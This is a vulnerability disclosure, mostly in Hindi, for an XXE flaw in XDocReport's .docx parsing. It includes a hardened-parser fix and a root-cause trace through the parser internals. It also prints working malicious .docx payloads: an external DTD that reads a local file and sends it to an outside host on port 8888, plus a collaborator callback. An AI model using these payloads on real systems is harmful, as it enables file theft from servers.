
CVE-2025-65482 (XXE)
XML External Entity Injection
Tổng quan về lỗ hổng
व्यावसायिक प्रभाव
कार्मिक प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन लाइब्रेरी का उपयोग करता है जिसमें XXE कमजोरी है, जब उपयोगकर्ता की फ़ाइल को के माध्यम से भेजा जाता है।
fr.opensagres.xdocreport.document.docx.docxSAXParserfr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
कारण यह है कि Apache POI का उपयोग किया जाता है।
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
अर्थात्, Apache POI बहुत गहराई में है, मॉड्यूल में:
org.apache.poi.xwpf.converter.core
गलती इसलिए होती है क्योंकि XDocReport (मॉड्यूल fr.opensagres.xdocreport.document.docx में) .docx फ़ाइलों को पढ़ने के लिए Apache POI का उपयोग करता है, और POI Java के डिफ़ॉल्ट SAXParser का उपयोग करता है, जिसमें DTD और बाहरी संस्थाओं (External Entities) को संसाधित करने की सुविधाएँ बंद नहीं की गई हैं। → इससे हमलावर को DOCTYPE में entity डालने की अनुमति मिलती है जो बाहर की ओर इशारा करती है (SYSTEM "http://...") या आंतरिक फ़ाइल (file:///...) की ओर → XXE उत्पन्न होती है।
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
निम्नलिखित outband पेलोड के साथ संपादित करें, collabrator के माध्यम से:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130 पर dtd फ़ाइल संग्रहीत करने वाले होस्ट पर, vcspentest.dtd फ़ाइल की सामग्री इस प्रकार है:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
.docx फ़ाइल में word/document.xml फ़ाइल को wsl से बाहरी dtd लोड करने के लिए निम्नलिखित सामग्री से संपादित करें:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx में ज़िप करें और सर्वर पर प्रसंस्करण के लिए अपलोड करेंD:/vcspentest.txt की सामग्री के साथ अनुरोध देखा गयाकोड में या XML पार्सर कॉन्फ़िगरेशन स्तर पर, DTD और बाहरी संस्थाओं से संबंधित सभी सुविधाओं को बंद करना आवश्यक है।
इस कोड के समान सुधार:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Velocity अभिव्यक्ति वाली इनपुट फ़ाइल पढ़ें
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // इनपुट फ़ाइल
InputStream input = new FileInputStream(docxTemplate);
// Velocity का उपयोग करके टेम्पलेट लोड करें
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// FreeMarker का उपयोग करके टेम्पलेट लोड करें
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// कॉन्टेक्स्ट बनाएँ - केवल स्वतंत्र अभिव्यक्ति का परीक्षण करने पर खाली छोड़ा जा सकता है
IContext context = report.createContext();
// नई फ़ाइल में आउटपुट करें
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ result.docx फ़ाइल सफलतापूर्वक बनाई गई।");
} catch (Exception e) {
System.err.println("❌ फ़ाइल प्रसंस्करण में त्रुटि:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
SAXParser द्वारा संसाधित किया जाता है, बिना इनपुट सत्यापन केscanDocument() फ़ंक्शन में जाता है और XML सामग्री को स्कैन करता है, जिससे "इवेंट" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, आदि) उत्पन्न होते हैं।जाँच करें कि क्या entity का नाम ("xxe") एक बाहरी entity है?
यदि entity घोषित की गई है और बाहरी है, तो पार्सर बाहरी समाधान (resolve external) तर्क को कॉल करेगा (उदाहरण startExternalEntity(...) / fEntityManager.startEntity(...)) — यह sink है: यहाँ पार्सर systemId/publicId लेगा और स्ट्रीम खोलने का प्रयास करेगा (जो बाहरी HTTP अनुरोध उत्पन्न कर सकता है)।
xxe एक बाहरी entity है, तो startEntity(...) संसाधन खोलने के तर्क की ओर ले जाएगा (उदाहरण startExternalEntity(...) / InputStream खोलें → SYSTEM URL पर HTTP अनुरोध उत्पन्न करने की क्षमता)। // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
वेरिएबल externalEntity.entityLocation में DOCTYPE (SYSTEM "http://...oastify.com/") से दुर्भावनापूर्ण URL है।
resolveEntityAsPerStax, वेरिएबल resourceIdentifier में पूर्ण पथ शामिल है: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
यह फ़ंक्शन फिर resourceIdentifier को XMLResourceIdentifierImpl ऑब्जेक्ट में बदलता है और वास्तविक कनेक्शन खोलने के लिए आगे बढ़ता है ताकि सामग्री पढ़ सके।